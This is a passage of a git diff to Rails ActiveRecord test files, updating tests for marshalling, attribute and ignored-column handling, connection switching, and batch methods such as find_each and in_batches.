+    marshalled = Marshal.dump(post)
+    post       = Marshal.load(marshalled)
+
+    assert_equal 1, post.comments.length
   end
 
-  def test_marshalling_with_associations
+  def test_marshalling_with_associations_7_1
+    previous_format_version = ActiveRecord::Marshalling.format_version
+    ActiveRecord::Marshalling.format_version = 7.1
+
     post = Post.new
     post.comments.build
 
@@ -1292,6 +1549,8 @@ def test_marshalling_with_associations
     post       = Marshal.load(marshalled)
 
     assert_equal 1, post.comments.length
+  ensure
+    ActiveRecord::Marshalling.format_version = previous_format_version
   end
 
   if Process.respond_to?(:fork) && !in_memory_db?
@@ -1309,7 +1568,7 @@ def test_marshal_between_processes
       rd.binmode
       wr.binmode
 
-      ActiveRecord::Base.connection_handler.clear_all_connections!
+      ActiveRecord::Base.connection_handler.clear_all_connections!(:all)
 
       fork do
         rd.close
@@ -1317,11 +1576,14 @@ def test_marshal_between_processes
         post.comments.build
         wr.write Marshal.dump(post)
         wr.close
+        exit!(0)
       end
 
       wr.close
       assert Marshal.load rd.read
       rd.close
+    ensure
+      self.class.send(:remove_const, "Post") if self.class.const_defined?("Post", false)
     end
   end
 
@@ -1331,25 +1593,50 @@ def test_marshalling_new_record_round_trip_with_associations
 
     post = Marshal.load(Marshal.dump(post))
 
-    assert post.new_record?, "should be a new record"
+    assert_predicate post, :new_record?, "should be a new record"
   end
 
   def test_attribute_names
-    assert_equal ["id", "type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description"],
-                 Company.attribute_names
+    expected = ["id", "type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description", "status", "metadata"]
+    assert_equal expected, Company.attribute_names
   end
 
   def test_has_attribute
     assert Company.has_attribute?("id")
     assert Company.has_attribute?("type")
     assert Company.has_attribute?("name")
+    assert Company.has_attribute?("new_name")
+    assert Company.has_attribute?("metadata")
     assert_not Company.has_attribute?("lastname")
     assert_not Company.has_attribute?("age")
+
+    company = Company.new
+    assert company.has_attribute?("id")
+    assert company.has_attribute?("type")
+    assert company.has_attribute?("name")
+    assert company.has_attribute?("new_name")
+    assert company.has_attribute?("metadata")
+    assert_not company.has_attribute?("lastname")
+    assert_not company.has_attribute?("age")
   end
 
   def test_has_attribute_with_symbol
     assert Company.has_attribute?(:id)
+    assert Company.has_attribute?(:type)
+    assert Company.has_attribute?(:name)
+    assert Company.has_attribute?(:new_name)
+    assert Company.has_attribute?(:metadata)
+    assert_not Company.has_attribute?(:lastname)
     assert_not Company.has_attribute?(:age)
+
+    company = Company.new
+    assert company.has_attribute?(:id)
+    assert company.has_attribute?(:type)
+    assert company.has_attribute?(:name)
+    assert company.has_attribute?(:new_name)
+    assert company.has_attribute?(:metadata)
+    assert_not company.has_attribute?(:lastname)
+    assert_not company.has_attribute?(:age)
   end
 
   def test_attribute_names_on_table_not_exists
@@ -1394,30 +1681,27 @@ def cast(value)
     assert_equal "t.lo", topic.author_name
   end
 
-  def test_typecasting_aliases
-    assert_equal 10, Topic.select("10 as tenderlove").first.tenderlove
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_column_types_on_queries_on_postgresql
+      result = ActiveRecord::Base.lease_connection.exec_query("SELECT 1 AS test")
+      assert_equal ActiveModel::Type::Integer, result.column_types["test"].class
+    end
   end
 
-  def test_slice
-    company = Company.new(rating: 1, name: "37signals", firm_name: "37signals")
-    hash = company.slice(:name, :rating, "arbitrary_method")
-    assert_equal hash[:name], company.name
-    assert_equal hash["name"], company.name
-    assert_equal hash[:rating], company.rating
-    assert_equal hash["arbitrary_method"], company.arbitrary_method
-    assert_equal hash[:arbitrary_method], company.arbitrary_method
-    assert_nil hash[:firm_name]
-    assert_nil hash["firm_name"]
-  end
-
-  def test_slice_accepts_array_argument
-    attrs = {
-      title: "slice",
-      author_name: "@Cohen-Carlisle",
-      content: "accept arrays so I don't have to splat"
-    }.with_indifferent_access
-    topic = Topic.new(attrs)
-    assert_equal attrs, topic.slice(attrs.keys)
+  if current_adapter?(:SQLite3Adapter)
+    def test_column_types_on_queries_on_sqlite
+      result = ActiveRecord::Base.lease_connection.exec_query("SELECT id, last_read, created_at FROM topics")
+      assert_equal ActiveRecord::ConnectionAdapters::SQLite3Adapter::SQLite3Integer, result.column_types["id"].class
+      assert_equal ActiveRecord::Type::Date, result.column_types["last_read"].class
+      assert_equal ActiveRecord::Type::DateTime, result.column_types["created_at"].class
+      assert_equal result.column_types[0], result.column_types["id"]
+      assert_equal result.column_types[1], result.column_types["last_read"]
+      assert_equal result.column_types[2], result.column_types["created_at"]
+    end
+  end
+
+  def test_typecasting_aliases
+    assert_equal 10, Topic.select("10 as tenderlove").first.tenderlove
   end
 
   def test_default_values_are_deeply_dupped
@@ -1428,6 +1712,7 @@ def test_default_values_are_deeply_dupped
 
   test "scoped can take a values hash" do
     klass = Class.new(ActiveRecord::Base)
+    klass.table_name = "bar"
     assert_equal ["foo"], klass.all.merge!(select: "foo").select_values
   end
 
@@ -1501,28 +1786,249 @@ def test_default_values_are_deeply_dupped
   test "resetting column information doesn't remove attribute methods" do
     topic = topics(:first)
 
-    assert_not topic.id_changed?
+    assert_not_predicate topic, :id_changed?
 
     Topic.reset_column_information
 
-    assert_not topic.id_changed?
+    assert_not_predicate topic, :id_changed?
   end
 
   test "ignored columns are not present in columns_hash" do
-    cache_columns = Developer.connection.schema_cache.columns_hash(Developer.table_name)
+    cache_columns = Developer.schema_cache.columns_hash(Developer.table_name)
     assert_includes cache_columns.keys, "first_name"
     assert_not_includes Developer.columns_hash.keys, "first_name"
+    assert_not_includes SubDeveloper.columns_hash.keys, "first_name"
+    assert_not_includes SymbolIgnoredDeveloper.columns_hash.keys, "first_name"
+  end
+
+  test ".columns_hash raises an error if the record has an empty table name" do
+    expected_message = "FirstAbstractClass has no table configured. Set one with FirstAbstractClass.table_name="
+    exception = assert_raises(ActiveRecord::TableNotSpecified) do
+      FirstAbstractClass.columns_hash
+    end
+    assert_equal expected_message, exception.message
   end
 
   test "ignored columns have no attribute methods" do
-    refute Developer.new.respond_to?(:first_name)
-    refute Developer.new.respond_to?(:first_name=)
-    refute Developer.new.respond_to?(:first_name?)
+    assert_not_respond_to Developer.new, :first_name
+    assert_not_respond_to Developer.new, :first_name=
+    assert_not_respond_to Developer.new, :first_name?
+    assert_not_respond_to SubDeveloper.new, :first_name
+    assert_not_respond_to SubDeveloper.new, :first_name=
+    assert_not_respond_to SubDeveloper.new, :first_name?
+    assert_not_respond_to SymbolIgnoredDeveloper.new, :first_name
+    assert_not_respond_to SymbolIgnoredDeveloper.new, :first_name=
+    assert_not_respond_to SymbolIgnoredDeveloper.new, :first_name?
   end
 
   test "ignored columns don't prevent explicit declaration of attribute methods" do
-    assert Developer.new.respond_to?(:last_name)
-    assert Developer.new.respond_to?(:last_name=)
-    assert Developer.new.respond_to?(:last_name?)
+    assert_respond_to Developer.new, :last_name
+    assert_respond_to Developer.new, :last_name=
+    assert_respond_to Developer.new, :last_name?
+    assert_respond_to SubDeveloper.new, :last_name
+    assert_respond_to SubDeveloper.new, :last_name=
+    assert_respond_to SubDeveloper.new, :last_name?
+    assert_respond_to SymbolIgnoredDeveloper.new, :last_name
+    assert_respond_to SymbolIgnoredDeveloper.new, :last_name=
+    assert_respond_to SymbolIgnoredDeveloper.new, :last_name?
   end
+
+  test "permitted columns have attribute methods" do
+    assert_respond_to OnlyColumnsDeveloper.new, OnlyColumnsDeveloper.primary_key
+    assert_respond_to OnlyColumnsDeveloper.new, :name
+    assert_respond_to OnlyColumnsDeveloper.new, :name=
+    assert_respond_to OnlyColumnsDeveloper.new, :name?
+    assert_respond_to OnlyColumnsDeveloper.new, :salary
+    assert_respond_to OnlyColumnsDeveloper.new, :salary=
+    assert_respond_to OnlyColumnsDeveloper.new, :salary?
+    assert_respond_to OnlyColumnsDeveloper.new, :firm_id
+    assert_respond_to OnlyColumnsDeveloper.new, :firm_id=
+    assert_respond_to OnlyColumnsDeveloper.new, :firm_id?
+    assert_respond_to OnlyColumnsDeveloper.new, :mentor_id
+    assert_respond_to OnlyColumnsDeveloper.new, :mentor_id=
+    assert_respond_to OnlyColumnsDeveloper.new, :mentor_id?
+  end
+
+  test "not permitted columns have not attribute methods" do
+    assert_not_respond_to OnlyColumnsDeveloper.new, :first_name
+    assert_not_respond_to OnlyColumnsDeveloper.new, :first_name=
+    assert_not_respond_to OnlyColumnsDeveloper.new, :first_name?
+    assert_not_respond_to OnlyColumnsDeveloper.new, :legacy_created_at
+    assert_not_respond_to OnlyColumnsDeveloper.new, :legacy_created_at=
+    assert_not_respond_to OnlyColumnsDeveloper.new, :legacy_created_at?
+  end
+
+  test "ignored columns are stored as an array of string" do
+    assert_equal(%w(first_name last_name), Developer.ignored_columns)
+    assert_equal(%w(first_name last_name), SymbolIgnoredDeveloper.ignored_columns)
+  end
+
+  test "when #reload called, ignored columns' attribute methods are not defined" do
+    developer = Developer.create!(name: "Developer")
+    assert_not_respond_to developer, :first_name
+    assert_not_respond_to developer, :first_name=
+
+    developer.reload
+
+    assert_not_respond_to developer, :first_name
+    assert_not_respond_to developer, :first_name=
+  end
+
+  test "when ignored attribute is loaded, cast type should be preferred over DB type" do
+    developer = AttributedDeveloper.create
+    developer.update_column :name, "name"
+
+    loaded_developer = AttributedDeveloper.where(id: developer.id).select("*").first
+    assert_equal "Developer: name", loaded_developer.name
+  end
+
+  test "when assigning new ignored columns it invalidates cache for column names" do
+    assert_not_includes ColumnNamesCachedDeveloper.column_names, "name"
+  end
+
+  test "ignored columns not included in SELECT" do
+    query = Developer.all.to_sql.downcase
+
+    # ignored column
+    assert_not query.include?("first_name")
+
+    # regular column
+    assert query.include?("name")
+  end
+
+  test "column names are quoted when using #from clause and model has ignored columns" do
+    assert_not_empty Developer.ignored_columns
+    query = Developer.from("developers").to_sql
+    quoted_id = "#{Developer.quoted_table_name}.#{Developer.quoted_primary_key}"
+
+    assert_match(/SELECT #{Regexp.escape(quoted_id)}.* FROM developers/, query)
+  end
+
+  test "using table name qualified column names unless having SELECT list explicitly" do
+    assert_equal developers(:david), Developer.from("developers").joins(:shared_computers).take
+  end
+
+  test "protected environments by default is an array with production" do
+    assert_equal ["production"], ActiveRecord::Base.protected_environments
+  end
+
+  def test_protected_environments_are_stored_as_an_array_of_string
+    previous_protected_environments = ActiveRecord::Base.protected_environments
+    ActiveRecord::Base.protected_environments = [:staging, "production"]
+    assert_equal ["staging", "production"], ActiveRecord::Base.protected_environments
+  ensure
+    ActiveRecord::Base.protected_environments = previous_protected_environments
+  end
+
+  test "#present? and #blank? on ActiveRecord::Base classes" do
+    assert_not_empty Topic.all
+    assert_no_queries do
+      assert_predicate Topic, :present?
+      assert_not Topic.blank?
+    end
+
+    Topic.delete_all
+    assert_no_queries do
+      assert_predicate Topic, :present?
+      assert_not Topic.blank?
+    end
+  end
+
+  test "cannot call connects_to on non-abstract or non-ActiveRecord::Base classes" do
+    error = assert_raises(NotImplementedError) do
+      Bird.connects_to(database: { writing: :arunit })
+    end
+
+    assert_equal "`connects_to` can only be called on ActiveRecord::Base or abstract classes", error.message
+  end
+
+  test "cannot call connected_to with role and shard on non-abstract classes" do
+    error = assert_raises(NotImplementedError) do
+      Bird.connected_to(role: :reading, shard: :default) { }
+    end
+
+    assert_equal "calling `connected_to` is only allowed on ActiveRecord::Base or abstract classes.", error.message
+  end
+
+  test "can call connected_to with role and shard on abstract classes" do
+    SecondAbstractClass.connected_to(role: :reading, shard: :default) do
+      assert SecondAbstractClass.connected_to?(role: :reading, shard: :default)
+    end
+  end
+
+  test "cannot call connected_to on the abstract class that did not establish the connection" do
+    error = assert_raises(NotImplementedError) do
+      ThirdAbstractClass.connected_to(role: :reading) { }
+    end
+
+    assert_equal "calling `connected_to` is only allowed on the abstract class that established the connection.", error.message
+  end
+
+  test "#connecting_to with role" do
+    SecondAbstractClass.connecting_to(role: :reading)
+
+    assert SecondAbstractClass.connected_to?(role: :reading)
+    assert SecondAbstractClass.current_preventing_writes
+  ensure
+    ActiveRecord::Base.connected_to_stack.pop
+  end
+
+  test "#connecting_to with role and shard" do
+    SecondAbstractClass.connecting_to(role: :reading, shard: :default)
+
+    assert SecondAbstractClass.connected_to?(role: :reading, shard: :default)
+  ensure
+    ActiveRecord::Base.connected_to_stack.pop
+  end
+
+  test "#connecting_to with prevent_writes" do
+    SecondAbstractClass.connecting_to(role: :writing, prevent_writes: true)
+
+    assert SecondAbstractClass.connected_to?(role: :writing)
+    assert SecondAbstractClass.current_preventing_writes
+  ensure
+    ActiveRecord::Base.connected_to_stack.pop
+  end
+
+  test "#connected_to_many cannot be called on anything but ActiveRecord::Base" do
+    assert_raises NotImplementedError do
+      SecondAbstractClass.connected_to_many([SecondAbstractClass], role: :writing)
+    end
+  end
+
+  test "#connected_to_many cannot be called with classes that include ActiveRecord::Base" do
+    assert_raises NotImplementedError do
+      ActiveRecord::Base.connected_to_many([ActiveRecord::Base], role: :writing)
+    end
+  end
+
+  test "#connected_to_many sets prevent_writes if role is reading" do
+    ActiveRecord::Base.connected_to_many([SecondAbstractClass], role: :reading) do
+      assert SecondAbstractClass.current_preventing_writes
+      assert_not ActiveRecord::Base.current_preventing_writes
+    end
+  end
+
+  test "#connected_to_many with a single argument for classes" do
+    ActiveRecord::Base.connected_to_many(SecondAbstractClass, role: :reading) do
+      assert SecondAbstractClass.current_preventing_writes
+      assert_not ActiveRecord::Base.current_preventing_writes
+    end
+  end
+
+  test "#connected_to_many with a multiple classes without brackets works" do
+    ActiveRecord::Base.connected_to_many(FirstAbstractClass, SecondAbstractClass, role: :reading) do
+      assert FirstAbstractClass.current_preventing_writes
+      assert SecondAbstractClass.current_preventing_writes
+      assert_not ActiveRecord::Base.current_preventing_writes
+    end
+  end
+
+  private
+    def with_timezone_config(cfg, &block)
+      super(cfg) do
+        Default.reset_column_information
+        block.call
+      end
+    end
 end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index f7e21faf0f2ac..19f156dcb979e 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -1,9 +1,13 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/subscriber"
+require "models/developer"
+require "models/cpk"
 
 class EachTest < ActiveRecord::TestCase
-  fixtures :posts, :subscribers
+  fixtures :posts, :subscribers, :developers, :cpk_orders
 
   def setup
     @posts = Post.order("id asc")
@@ -12,7 +16,7 @@ def setup
   end
 
   def test_each_should_execute_one_query_per_batch
-    assert_queries(@total + 1) do
+    assert_queries_count(@total + 1) do
       Post.find_each(batch_size: 1) do |post|
         assert_kind_of Post, post
       end
@@ -20,14 +24,14 @@ def test_each_should_execute_one_query_per_batch
   end
 
   def test_each_should_not_return_query_chain_and_execute_only_one_query
-    assert_queries(1) do
-      result = Post.find_each(batch_size: 100000) {}
+    assert_queries_count(1) do
+      result = Post.find_each(batch_size: 100000) { }
       assert_nil result
     end
   end
 
   def test_each_should_return_an_enumerator_if_no_block_is_present
-    assert_queries(1) do
+    assert_queries_count(1) do
       Post.find_each(batch_size: 100000).with_index do |post, index|
         assert_kind_of Post, post
         assert_kind_of Integer, index
@@ -35,16 +39,14 @@ def test_each_should_return_an_enumerator_if_no_block_is_present
     end
   end
 
-  if Enumerator.method_defined? :size
-    def test_each_should_return_a_sized_enumerator
-      assert_equal 11, Post.find_each(batch_size: 1).size
-      assert_equal 5, Post.find_each(batch_size:  2, start: 7).size
-      assert_equal 11, Post.find_each(batch_size: 10_000).size
-    end
+  def test_each_should_return_a_sized_enumerator
+    assert_equal 11, Post.find_each(batch_size: 1).size
+    assert_equal 5, Post.find_each(batch_size:  2, start: 7).size
+    assert_equal 11, Post.find_each(batch_size: 10_000).size
   end
 
   def test_each_enumerator_should_execute_one_query_per_batch
-    assert_queries(@total + 1) do
+    assert_queries_count(@total + 1) do
       Post.find_each(batch_size: 1).with_index do |post, index|
         assert_kind_of Post, post
         assert_kind_of Integer, index
@@ -61,7 +63,7 @@ def test_each_should_raise_if_select_is_set_without_id
   end
 
   def test_each_should_execute_if_id_is_in_select
-    assert_queries(6) do
+    assert_queries_count(6) do
       Post.select("id, title, type").find_each(batch_size: 2) do |post|
         assert_kind_of Post, post
       end
@@ -91,9 +93,14 @@ def test_each_should_execute_if_id_is_in_select
   end
 
   def test_warn_if_order_scope_is_set
+    previous_logger = ActiveRecord::Base.logger
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(nil)
+
     assert_called(ActiveRecord::Base.logger, :warn) do
       Post.order("title").find_each { |post| post }
     end
+  ensure
+    ActiveRecord::Base.logger = previous_logger
   end
 
   def test_logger_not_required
@@ -107,7 +114,7 @@ def test_logger_not_required
   end
 
   def test_find_in_batches_should_return_batches
-    assert_queries(@total + 1) do
+    assert_queries_count(@total + 1) do
       Post.find_in_batches(batch_size: 1) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -116,7 +123,7 @@ def test_find_in_batches_should_return_batches
   end
 
   def test_find_in_batches_should_start_from_the_start_option
-    assert_queries(@total) do
+    assert_queries_count(@total) do
       Post.find_in_batches(batch_size: 1, start: 2) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -125,7 +132,7 @@ def test_find_in_batches_should_start_from_the_start_option
   end
 
   def test_find_in_batches_should_end_at_the_finish_option
-    assert_queries(6) do
+    assert_queries_count(6) do
       Post.find_in_batches(batch_size: 1, finish: 5) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -134,18 +141,17 @@ def test_find_in_batches_should_end_at_the_finish_option
   end
 
   def test_find_in_batches_shouldnt_execute_query_unless_needed
-    assert_queries(2) do
+    assert_queries_count(2) do
       Post.find_in_batches(batch_size: @total) { |batch| assert_kind_of Array, batch }
     end
 
-    assert_queries(1) do
+    assert_queries_count(1) do
       Post.find_in_batches(batch_size: @total + 1) { |batch| assert_kind_of Array, batch }
     end
   end
 
   def test_find_in_batches_should_quote_batch_order
-    c = Post.connection
-    assert_sql(/ORDER BY #{c.quote_table_name('posts')}.#{c.quote_column_name('id')}/) do
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("posts.id"))}/i) do
       Post.find_in_batches(batch_size: 1) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -153,8 +159,31 @@ def test_find_in_batches_should_quote_batch_order
     end
   end
 
+  def test_find_in_batches_should_quote_batch_order_with_desc_order
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("posts.id"))} DESC/) do
+      Post.find_in_batches(batch_size: 1, order: :desc) do |batch|
+        assert_kind_of Array, batch
+        assert_kind_of Post, batch.first
+      end
+    end
+  end
+
+  def test_each_should_raise_if_order_is_invalid
+    assert_raise(ArgumentError) do
+      Post.select(:title).find_each(batch_size: 1, order: :invalid) { |post|
+        flunk "should not call this block"
+      }
+    end
+  end
+
+  def test_in_batches_without_block_should_raise_if_order_is_invalid
+    assert_raise(ArgumentError) do
+      Post.select(:title).in_batches(order: :invalid)
+    end
+  end
+
   def test_find_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified
-    not_a_post = "not a post"
+    not_a_post = +"not a post"
     def not_a_post.id; end
     not_a_post.stub(:id, -> { raise StandardError.new("not_a_post had #id called on it") }) do
       assert_nothing_raised do
@@ -182,53 +211,47 @@ def test_find_in_batches_should_ignore_the_order_default_scope
 
   def test_find_in_batches_should_error_on_ignore_the_order
     assert_raise(ArgumentError) do
-      PostWithDefaultScope.find_in_batches(error_on_ignore: true) {}
+      PostWithDefaultScope.find_in_batches(error_on_ignore: true) { }
     end
   end
 
   def test_find_in_batches_should_not_error_if_config_overridden
     # Set the config option which will be overridden
-    prev = ActiveRecord::Base.error_on_ignored_order
-    ActiveRecord::Base.error_on_ignored_order = true
+    prev = ActiveRecord.error_on_ignored_order
+    ActiveRecord.error_on_ignored_order = true
     assert_nothing_raised do
-      PostWithDefaultScope.find_in_batches(error_on_ignore: false) {}
+      PostWithDefaultScope.find_in_batches(error_on_ignore: false) { }
     end
   ensure
     # Set back to default
-    ActiveRecord::Base.error_on_ignored_order = prev
+    ActiveRecord.error_on_ignored_order = prev
   end
 
   def test_find_in_batches_should_error_on_config_specified_to_error
     # Set the config option
-    prev = ActiveRecord::Base.error_on_ignored_order
-    ActiveRecord::Base.error_on_ignored_order = true
+    prev = ActiveRecord.error_on_ignored_order
+    ActiveRecord.error_on_ignored_order = true
     assert_raise(ArgumentError) do
-      PostWithDefaultScope.find_in_batches() {}
+      PostWithDefaultScope.find_in_batches() { }
     end
   ensure
     # Set back to default
-    ActiveRecord::Base.error_on_ignored_order = prev
+    ActiveRecord.error_on_ignored_order = prev
   end
 
   def test_find_in_batches_should_not_error_by_default
     assert_nothing_raised do
-      PostWithDefaultScope.find_in_batches() {}
+      PostWithDefaultScope.find_in_batches() { }
     end
   end
 
   def test_find_in_batches_should_not_ignore_the_default_scope_if_it_is_other_then_order
-    special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort
+    default_scope = SpecialPostWithDefaultScope.all
     posts = []
     SpecialPostWithDefaultScope.find_in_batches do |batch|
       posts.concat(batch)
     end
-    assert_equal special_posts_ids, posts.map(&:id)
-  end
-
-  def test_find_in_batches_should_not_modify_passed_options
-    assert_nothing_raised do
-      Post.find_in_batches({ batch_size: 42, start: 1 }.freeze) {}
-    end
+    assert_equal default_scope.pluck(:id).sort, posts.map(&:id).sort
   end
 
   def test_find_in_batches_should_use_any_column_as_primary_key
@@ -244,7 +267,7 @@ def test_find_in_batches_should_use_any_column_as_primary_key
   end
 
   def test_find_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified
-    assert_queries(Subscriber.count + 1) do
+    assert_queries_count(Subscriber.count + 1) do
       Subscriber.find_in_batches(batch_size: 1) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Subscriber, batch.first
@@ -257,7 +280,7 @@ def test_find_in_batches_should_return_an_enumerator
     assert_no_queries do
       enum = Post.find_in_batches(batch_size: 1)
     end
-    assert_queries(4) do
+    assert_queries_count(4) do
       enum.first(4) do |batch|
         assert_kind_of Array, batch
         assert_kind_of Post, batch.first
@@ -293,8 +316,26 @@ def test_in_batches_should_not_execute_any_query
     end
   end
 
+  def test_in_batches_should_error_on_ignore_the_order
+    assert_raise(ArgumentError, match: "Scoped order is ignored") do
+      PostWithDefaultScope.in_batches(error_on_ignore: true) { }
+    end
+
+    assert_raise(ArgumentError, match: "Scoped order is ignored") do
+      PostWithDefaultScope.in_batches(error_on_ignore: true).delete_all
+    end
+  end
+
+  def test_in_batches_has_attribute_readers
+    enumerator = Post.no_comments.in_batches(of: 2, start: 42, finish: 84)
+    assert_equal Post.no_comments, enumerator.relation
+    assert_equal 2, enumerator.batch_size
+    assert_equal 42, enumerator.start
+    assert_equal 84, enumerator.finish
+  end
+
   def test_in_batches_should_yield_relation_if_block_given
-    assert_queries(6) do
+    assert_queries_count(7) do
       Post.in_batches(of: 2) do |relation|
         assert_kind_of ActiveRecord::Relation, relation
       end
@@ -302,7 +343,7 @@ def test_in_batches_should_yield_relation_if_block_given
   end
 
   def test_in_batches_should_be_enumerable_if_no_block_given
-    assert_queries(6) do
+    assert_queries_count(7) do
       Post.in_batches(of: 2).each do |relation|
         assert_kind_of ActiveRecord::Relation, relation
       end
@@ -310,18 +351,18 @@ def test_in_batches_should_be_enumerable_if_no_block_given
   end
 
   def test_in_batches_each_record_should_yield_record_if_block_is_given
-    assert_queries(6) do
+    assert_queries_count(6) do
       Post.in_batches(of: 2).each_record do |post|
-        assert post.title.present?
+        assert_predicate post.title, :present?
         assert_kind_of Post, post
       end
     end
   end
 
   def test_in_batches_each_record_should_return_enumerator_if_no_block_given
-    assert_queries(6) do
+    assert_queries_count(6) do
       Post.in_batches(of: 2).each_record.with_index do |post, i|
-        assert post.title.present?
+        assert_predicate post.title, :present?
         assert_kind_of Post, post
       end
     end
@@ -329,7 +370,7 @@ def test_in_batches_each_record_should_return_enumerator_if_no_block_given
 
   def test_in_batches_each_record_should_be_ordered_by_id
     ids = Post.order("id ASC").pluck(:id)
-    assert_queries(6) do
+    assert_queries_count(6) do
       Post.in_batches(of: 2).each_record.with_index do |post, i|
         assert_equal ids[i], post.id
       end
@@ -337,10 +378,34 @@ def test_in_batches_each_record_should_be_ordered_by_id
   end
 
   def test_in_batches_update_all_affect_all_records
-    assert_queries(6 + 6) do # 6 selects, 6 updates
+    assert_queries_count(7 + 6) do # 7 selects, 6 updates
       Post.in_batches(of: 2).update_all(title: "updated-title")
     end
-    assert_equal Post.all.pluck(:title), ["updated-title"] * Post.count
+    assert_equal ["updated-title"] * Post.count, Post.all.pluck(:title)
+  end
+
+  def test_in_batches_update_all_returns_rows_affected
+    assert_equal 11, Post.in_batches(of: 2).update_all(title: "updated-title")
+  end
+
+  def test_in_batches_update_all_returns_zero_when_no_batches
+    assert_equal 0, Post.where("1=0").in_batches(of: 2).update_all(title: "updated-title")
+  end
+
+  def test_in_batches_touch_all_affect_all_records
+    time = Time.new(2000, 1, 1, 0, 0, 0)
+    assert_queries_count(7 + 6) do # 7 selects, 6 updates
+      Developer.in_batches(of: 2).touch_all(time: time)
+    end
+    assert_equal [time] * Developer.count, Developer.all.pluck(:updated_at)
+  end
+
+  def test_in_batches_touch_all_returns_rows_affected
+    assert_equal 11, Developer.in_batches(of: 2).touch_all
+  end
+
+  def test_in_batches_touch_all_returns_zero_when_no_batches
+    assert_equal 0, Developer.where("1=0").in_batches(of: 2).touch_all
   end
 
   def test_in_batches_delete_all_should_not_delete_records_in_other_batches
@@ -350,32 +415,179 @@ def test_in_batches_delete_all_should_not_delete_records_in_other_batches
     assert_equal not_deleted_count, Post.count
   end
 
+  def test_in_batches_delete_all_returns_rows_affected
+    assert_equal 11, Post.in_batches(of: 2).delete_all
+  end
+
+  def test_in_batches_delete_all_returns_zero_when_no_batches
+    assert_equal 0, Post.where("1=0").in_batches(of: 2).delete_all
+  end
+
+  def test_in_batches_destroy_all_should_not_destroy_records_in_other_batches
+    not_destroyed_count = Post.where("id <= 2").count
+    Post.where("id > 2").in_batches(of: 2).destroy_all
+    assert_equal 0, Post.where("id > 2").count
+    assert_equal not_destroyed_count, Post.count
+  end
+
+  def test_in_batches_destroy_all_returns_rows_affected
+    # 1 records is not destroyed because of the callback.
+    assert_equal 10, PostWithDestroyCallback.in_batches(of: 2).destroy_all
+  end
+
+  def test_in_batches_destroy_all_returns_zero_when_no_batches
+    assert_equal 0, Post.where("1=0").in_batches(of: 2).destroy_all
+  end
+
   def test_in_batches_should_not_be_loaded
     Post.in_batches(of: 1) do |relation|
-      assert_not relation.loaded?
+      assert_not_predicate relation, :loaded?
     end
 
     Post.in_batches(of: 1, load: false) do |relation|
-      assert_not relation.loaded?
+      assert_not_predicate relation, :loaded?
     end
   end
 
   def test_in_batches_should_be_loaded
     Post.in_batches(of: 1, load: true) do |relation|
-      assert relation.loaded?
+      assert_predicate relation, :loaded?
     end
   end
 
   def test_in_batches_if_not_loaded_executes_more_queries
-    assert_queries(@total + 1) do
+    assert_queries_count(@total + 2) do
       Post.in_batches(of: 1, load: false) do |relation|
-        assert_not relation.loaded?
+        assert_not_predicate relation, :loaded?
       end
     end
   end
 
+  def test_in_batches_when_loaded_runs_no_queries
+    posts = Post.all
+    posts.load
+    batch_count = 0
+    last_id = posts.map(&:id).min
+    assert_queries_count(0) do
+      posts.in_batches(of: 1) do |relation|
+        batch_count += 1
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_operator last_id, :<=, relation.map(&:id).min
+        last_id = relation.map(&:id).min
+      end
+    end
+
+    assert_equal posts.size, batch_count
+  end
+
+  def test_in_batches_when_loaded_runs_no_queries_with_order_argument
+    posts = Post.all.order(id: :asc)
+    posts.load
+    batch_count = 0
+    last_id = posts.map(&:id).max
+    assert_queries_count(0) do
+      posts.in_batches(of: 1, order: :desc) do |relation|
+        batch_count += 1
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_operator last_id, :>=, relation.map(&:id).max
+        last_id = relation.map(&:id).max
+      end
+    end
+
+    assert_equal posts.size, batch_count
+  end
+
+  def test_in_batches_when_loaded_runs_no_queries_with_start_and_end_arguments
+    posts = Post.all.order(id: :asc)
+    posts.load
+    batch_count = 0
+
+    start_id = posts.map(&:id)[1]
+    finish_id = posts.map(&:id)[-2]
+    assert_queries_count(0) do
+      posts.in_batches(of: 1, start: start_id, finish: finish_id) do |relation|
+        batch_count += 1
+        assert_kind_of ActiveRecord::Relation, relation
+      end
+    end
+
+    assert_equal posts.size - 2, batch_count
+  end
+
+  def test_in_batches_when_loaded_runs_no_queries_with_start_and_end_arguments_and_reverse_order
+    posts = Post.all.order(id: :asc)
+    posts.load
+    batch_count = 0
+
+    start_id = posts.map(&:id)[-2]
+    finish_id = posts.map(&:id)[1]
+    assert_queries_count(0) do
+      posts.in_batches(of: 1, start: start_id, finish: finish_id, order: :desc) do |relation|
+        batch_count += 1
+        assert_kind_of ActiveRecord::Relation, relation
+      end
+    end
+
+    assert_equal posts.size - 2, batch_count
+  end
+
+  def test_in_batches_when_loaded_can_return_an_enum
+    posts = Post.all
+    posts.load
+    batch_count = 0
+
+    assert_queries_count(0) do
+      posts.in_batches(of: 1).each do |relation|
+        batch_count += 1
+        assert_kind_of ActiveRecord::Relation, relation
+      end
+    end
+
+    assert_equal posts.size, batch_count
+  end
+
+  def test_in_batches_when_loaded_runs_no_queries_when_batching_over_cpk_model
+    incorrectly_sorted_orders = Cpk::Order.order(shop_id: :asc, id: :desc)
+    incorrectly_sorted_orders.load
+
+    correctly_sorted_orders = Cpk::Order.order(shop_id: :desc, id: :asc).to_a
+    expected_orders = correctly_sorted_orders[1..-2]
+    start_id = expected_orders.first.id
